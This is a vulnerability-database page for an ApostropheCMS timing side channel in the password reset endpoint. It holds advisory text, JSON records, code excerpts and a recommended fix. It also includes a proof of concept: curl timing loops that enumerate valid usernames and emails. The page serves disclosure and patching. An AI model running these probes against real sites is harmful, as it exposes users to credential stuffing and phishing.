Vulnerability-Lookup

CVE-2026-33877 (GCVE-0-2026-33877)

Vulnerability from cvelistv5 – Published: 2026-04-15 19:11 – Updated: 2026-04-15 19:30

Title

ApostropheCMS: User Enumeration via Timing Side Channel in Password Reset Endpoint

Summary

ApostropheCMS is an open-source Node.js content management system. Versions 4.28.0 and prior contain a timing side-channel vulnerability in the password reset endpoint (/api/v1/@apostrophecms/login/reset-request) that allows unauthenticated username and email enumeration. When a user is not found, the handler returns after a fixed 2-second artificial delay, but when a valid user is found, it performs a MongoDB update and SMTP email send with no equivalent delay normalization, producing measurably different response times. The endpoint also accepts both username and email via an $or query, and has no rate limiting as the existing checkLoginAttempts throttle only applies to the login flow. This enables automated enumeration of valid accounts for use in credential stuffing or targeted phishing. Only instances that have explicitly enabled the passwordReset option are affected, as it defaults to false. This issue has been fixed in version 4.29.0.

Severity

3.7 (Low)


                        
                          CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-04-15 19:30 UTC

CWE

CWE-208 - Observable Timing Discrepancy

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 8083 records in the last 180 days details

References

2 references

URL	Tags
https://github.com/apostrophecms/apostrophe/secur…	x_refsource_CONFIRM
https://github.com/apostrophecms/apostrophe/commi…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
apostrophecms	apostrophe	Affected: < 4.29.0	guessed

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-33877

Vulnerability from fkie_nvd - Published: 2026-04-15 20:16 - Updated: 2026-10-26 22:10

Severity

3.7 (Low) - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/apostrophecms/apostrophe/commit/e266cffd8c0d331a9b05c92bf11616556efcdc77	Patch
security-advisories@github.com	https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-mj7r-x3h3-7rmr	Exploit, Mitigation, Vendor Advisory
134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-mj7r-x3h3-7rmr	Exploit, Mitigation, Vendor Advisory

Impacted products

	Vendor	Product	Version
	apostrophecms	apostrophecms	*

JSON

To clipboard

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        "Patch"
      ],
      "url": "https://github.com/apostrophecms/apostrophe/commit/e266cffd8c0d331a9b05c92bf11616556efcdc77"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-mj7r-x3h3-7rmr"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-mj7r-x3h3-7rmr"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-208"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-MJ7R-X3H3-7RMR

Vulnerability from github – Published: 2026-04-16 20:42 – Updated: 2026-04-16 20:42

Summary

ApostropheCMS: User Enumeration via Timing Side Channel in Password Reset Endpoint

Details

Summary

The password reset endpoint (/api/v1/@apostrophecms/login/reset-request) exhibits a measurable timing side channel that allows unauthenticated attackers to enumerate valid usernames and email addresses. When a user is not found, the handler returns after a fixed 2-second artificial delay, but when a valid user is found, it performs database writes and SMTP operations with no equivalent delay normalization, producing a distinguishable timing profile.

Details

The resetRequest handler in modules/@apostrophecms/login/index.js attempts to obscure the user-not-found path with an artificial delay, but fails to normalize the timing of the user-found path:

User not found — fixed 2000ms delay (index.js:309-314):

if (!user) {
  await wait();  // wait = (t = 2000) => Promise.delay(t)
  self.apos.util.error(
    `Reset password request error - the user ${email} doesn\`t exist.`
  );
  return;
}

User found — variable-duration DB + SMTP operations, no artificial delay (index.js:323-355):

const reset = self.apos.util.generateId();
user.passwordReset = reset;
user.passwordResetAt = new Date();
await self.apos.user.update(req, user, { permissions: false });
// ... URL construction ...
await self.email(req, 'passwordResetEmail', {
  user,
  url: parsed.toString(),
  site
}, {
  to: user.email,
  subject: req.t('apostrophe:passwordResetRequest', { site })
});

The user-found path includes a MongoDB update() call and an SMTP email() send, which together produce response times that differ measurably from the fixed 2000ms delay. Depending on SMTP server latency, responses for valid users will either be noticeably faster (local/fast SMTP) or slower (remote SMTP) than the constant 2-second delay for invalid users.

Additionally, the getPasswordResetUser method (index.js:664-666) accepts both username and email via an $or query, enabling enumeration of both identifiers:

const criteriaOr = [
  { username: email },
  { email }
];

There is no rate limiting on the reset endpoint. The checkLoginAttempts throttle (index.js:978) is only applied to the login flow, allowing unlimited rapid probing of the reset endpoint.

PoC

Prerequisites: An Apostrophe instance with passwordReset: true enabled in @apostrophecms/login configuration.

Step 1 — Baseline invalid user timing:

for i in $(seq 1 10); do
  curl -s -o /dev/null -w "%{time_total}\n" \
    -X POST http://localhost:3000/api/v1/@apostrophecms/login/reset-request \
    -H "Content-Type: application/json" \
    -d '{"email": "nonexistent-user-'$i'@example.com"}'
done
# Expected: all responses cluster tightly around 2.0xx seconds

Step 2 — Test known valid user:

for i in $(seq 1 10); do
  curl -s -o /dev/null -w "%{time_total}\n" \
    -X POST http://localhost:3000/api/v1/@apostrophecms/login/reset-request \
    -H "Content-Type: application/json" \
    -d '{"email": "admin"}'
done
# Expected: response times differ from 2.0s baseline (faster with local SMTP, slower with remote SMTP)

Step 3 — Statistical comparison: The two distributions will show a measurable divergence. With a local mail server, valid-user responses typically complete in <500ms. With a remote SMTP server, valid-user responses may take 3-5+ seconds. Either way, the timing is distinguishable from the fixed 2000ms invalid-user delay.

Impact

Account enumeration: An unauthenticated attacker can determine whether a given username or email address has an account in the Apostrophe instance.
Credential stuffing preparation: Confirmed valid accounts can be targeted with credential stuffing attacks using breached password databases.
Phishing targeting: Knowledge of valid accounts enables targeted phishing campaigns against confirmed users.
No rate limiting: The absence of throttling on the reset endpoint allows high-speed automated enumeration.
Mitigating factor: The passwordReset option defaults to false (index.js:62), so only instances that explicitly enable password reset are affected.

Recommended Fix

Normalize all code paths to a constant minimum duration, ensuring the response time does not leak whether a user was found:

async resetRequest(req) {
  const MIN_RESPONSE_TIME = 2000;
  const startTime = Date.now();
  const site = (req.headers.host || '').replace(/:\d+$/, '');
  const email = self.apos.launder.string(req.body.email);
  if (!email.length) {
    throw self.apos.error('invalid', req.t('apostrophe:loginResetEmailRequired'));
  }
  let user;
  try {
    user = await self.getPasswordResetUser(req.body.email);
  } catch (e) {
    self.apos.util.error(e);
  }
  if (!user) {
    self.apos.util.error(
      `Reset password request error - the user ${email} doesn\`t exist.`
    );
  } else if (!user.email) {
    self.apos.util.error(
      `Reset password request error - the user ${user.username} doesn\`t have an email.`
    );
  } else {
    const reset = self.apos.util.generateId();
    user.passwordReset = reset;
    user.passwordResetAt = new Date();
    await self.apos.user.update(req, user, { permissions: false });
    let port = (req.headers.host || '').split(':')[1];
    if (!port || [ '80', '443' ].includes(port)) {
      port = '';
    } else {
      port = `:${port}`;
    }
    const parsed = new URL(
      req.absoluteUrl,
      self.apos.baseUrl
        ? undefined
        : `${req.protocol}://${req.hostname}${port}`
    );
    parsed.pathname = self.login();
    parsed.search = '?';
    parsed.searchParams.append('reset', reset);
    parsed.searchParams.append('email', user.email);
    try {
      await self.email(req, 'passwordResetEmail', {
        user,
        url: parsed.toString(),
        site
      }, {
        to: user.email,
        subject: req.t('apostrophe:passwordResetRequest', { site })
      });
    } catch (err) {
      self.apos.util.error(`Error while sending email to ${user.email}`, err);
    }
  }
  // Pad all paths to a constant minimum duration
  const elapsed = Date.now() - startTime;
  if (elapsed < MIN_RESPONSE_TIME) {
    await Promise.delay(MIN_RESPONSE_TIME - elapsed);
  }
},

Additionally, consider applying rate limiting to the reset-request endpoint to prevent high-speed enumeration attempts.

Severity

3.7 (Low)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "apostrophe"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.29.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33877"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-208"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-16T20:42:11Z",
    "nvd_published_at": "2026-04-15T20:16:35Z",
    "severity": "LOW"
  },
  "details": "## Summary\n\nThe password reset endpoint (`/api/v1/@apostrophecms/login/reset-request`) exhibits a measurable timing side channel that allows unauthenticated attackers to enumerate valid usernames and email addresses. When a user is not found, the handler returns after a fixed 2-second artificial delay, but when a valid user is found, it performs database writes and SMTP operations with no equivalent delay normalization, producing a distinguishable timing profile.\n\n## Details\n\nThe `resetRequest` handler in `modules/@apostrophecms/login/index.js` attempts to obscure the user-not-found path with an artificial delay, but fails to normalize the timing of the user-found path:\n\n**User not found \u2014 fixed 2000ms delay** (`index.js:309-314`):\n```javascript\nif (!user) {\n  await wait();  // wait = (t = 2000) =\u003e Promise.delay(t)\n  self.apos.util.error(\n    `Reset password request error - the user ${email} doesn\\`t exist.`\n  );\n  return;\n}\n```\n\n**User found \u2014 variable-duration DB + SMTP operations, no artificial delay** (`index.js:323-355`):\n```javascript\nconst reset = self.apos.util.generateId();\nuser.passwordReset = reset;\nuser.passwordResetAt = new Date();\nawait self.apos.user.update(req, user, { permissions: false });\n// ... URL construction ...\nawait self.email(req, \u0027passwordResetEmail\u0027, {\n  user,\n  url: parsed.toString(),\n  site\n}, {\n  to: user.email,\n  subject: req.t(\u0027apostrophe:passwordResetRequest\u0027, { site })\n});\n```\n\nThe user-found path includes a MongoDB `update()` call and an SMTP `email()` send, which together produce response times that differ measurably from the fixed 2000ms delay. Depending on SMTP server latency, responses for valid users will either be noticeably faster (local/fast SMTP) or slower (remote SMTP) than the constant 2-second delay for invalid users.\n\nAdditionally, the `getPasswordResetUser` method (`index.js:664-666`) accepts both username and email via an `$or` query, enabling enumeration of both identifiers:\n```javascript\nconst criteriaOr = [\n  { username: email },\n  { email }\n];\n```\n\nThere is no rate limiting on the reset endpoint. The `checkLoginAttempts` throttle (`index.js:978`) is only applied to the login flow, allowing unlimited rapid probing of the reset endpoint.\n\n## PoC\n\n**Prerequisites:** An Apostrophe instance with `passwordReset: true` enabled in `@apostrophecms/login` configuration.\n\n**Step 1 \u2014 Baseline invalid user timing:**\n```bash\nfor i in $(seq 1 10); do\n  curl -s -o /dev/null -w \"%{time_total}\\n\" \\\n    -X POST http://localhost:3000/api/v1/@apostrophecms/login/reset-request \\\n    -H \"Content-Type: application/json\" \\\n    -d \u0027{\"email\": \"nonexistent-user-\u0027$i\u0027@example.com\"}\u0027\ndone\n# Expected: all responses cluster tightly around 2.0xx seconds\n```\n\n**Step 2 \u2014 Test known valid user:**\n```bash\nfor i in $(seq 1 10); do\n  curl -s -o /dev/null -w \"%{time_total}\\n\" \\\n    -X POST http://localhost:3000/api/v1/@apostrophecms/login/reset-request \\\n    -H \"Content-Type: application/json\" \\\n    -d \u0027{\"email\": \"admin\"}\u0027\ndone\n# Expected: response times differ from 2.0s baseline (faster with local SMTP, slower with remote SMTP)\n```\n\n**Step 3 \u2014 Statistical comparison:**\nThe two distributions will show a measurable divergence. With a local mail server, valid-user responses typically complete in \u003c500ms. With a remote SMTP server, valid-user responses may take 3-5+ seconds. Either way, the timing is distinguishable from the fixed 2000ms invalid-user delay.\n\n## Impact\n\n- **Account enumeration:** An unauthenticated attacker can determine whether a given username or email address has an account in the Apostrophe instance.\n- **Credential stuffing preparation:** Confirmed valid accounts can be targeted with credential stuffing attacks using breached password databases.\n- **Phishing targeting:** Knowledge of valid accounts enables targeted phishing campaigns against confirmed users.\n- **No rate limiting:** The absence of throttling on the reset endpoint allows high-speed automated enumeration.\n- **Mitigating factor:** The `passwordReset` option defaults to `false` (`index.js:62`), so only instances that explicitly enable password reset are affected.\n\n## Recommended Fix\n\nNormalize all code paths to a constant minimum duration, ensuring the response time does not leak whether a user was found:\n\n```javascript\nasync resetRequest(req) {\n  const MIN_RESPONSE_TIME = 2000;\n  const startTime = Date.now();\n  const site = (req.headers.host || \u0027\u0027).replace(/:\\d+$/, \u0027\u0027);\n  const email = self.apos.launder.string(req.body.email);\n  if (!email.length) {\n    throw self.apos.error(\u0027invalid\u0027, req.t(\u0027apostrophe:loginResetEmailRequired\u0027));\n  }\n  let user;\n  try {\n    user = await self.getPasswordResetUser(req.body.email);\n  } catch (e) {\n    self.apos.util.error(e);\n  }\n  if (!user) {\n    self.apos.util.error(\n      `Reset password request error - the user ${email} doesn\\`t exist.`\n    );\n  } else if (!user.email) {\n    self.apos.util.error(\n      `Reset password request error - the user ${user.username} doesn\\`t have an email.`\n    );\n  } else {\n    const reset = self.apos.util.generateId();\n    user.passwordReset = reset;\n    user.passwordResetAt = new Date();\n    await self.apos.user.update(req, user, { permissions: false });\n    let port = (req.headers.host || \u0027\u0027).split(\u0027:\u0027)[1];\n    if (!port || [ \u002780\u0027, \u0027443\u0027 ].includes(port)) {\n      port = \u0027\u0027;\n    } else {\n      port = `:${port}`;\n    }\n    const parsed = new URL(\n      req.absoluteUrl,\n      self.apos.baseUrl\n        ? undefined\n        : `${req.protocol}://${req.hostname}${port}`\n    );\n    parsed.pathname = self.login();\n    parsed.search = \u0027?\u0027;\n    parsed.searchParams.append(\u0027reset\u0027, reset);\n    parsed.searchParams.append(\u0027email\u0027, user.email);\n    try {\n      await self.email(req, \u0027passwordResetEmail\u0027, {\n        user,\n        url: parsed.toString(),\n        site\n      }, {\n        to: user.email,\n        subject: req.t(\u0027apostrophe:passwordResetRequest\u0027, { site })\n      });\n    } catch (err) {\n      self.apos.util.error(`Error while sending email to ${user.email}`, err);\n    }\n  }\n  // Pad all paths to a constant minimum duration\n  const elapsed = Date.now() - startTime;\n  if (elapsed \u003c MIN_RESPONSE_TIME) {\n    await Promise.delay(MIN_RESPONSE_TIME - elapsed);\n  }\n},\n```\n\nAdditionally, consider applying rate limiting to the `reset-request` endpoint to prevent high-speed enumeration attempts.",
  "id": "GHSA-mj7r-x3h3-7rmr",
  "modified": "2026-04-16T20:42:11Z",
  "published": "2026-04-16T20:42:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-mj7r-x3h3-7rmr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33877"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/commit/e266cffd8c0d331a9b05c92bf11616556efcdc77"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apostrophecms/apostrophe"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ApostropheCMS: User Enumeration via Timing Side Channel in Password Reset Endpoint"
}

Sightings

Author	Source	Type	Date	Other

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Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

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The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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CVE-2026-33877 (GCVE-0-2026-33877)

FKIE_CVE-2026-33877

GHSA-MJ7R-X3H3-7RMR

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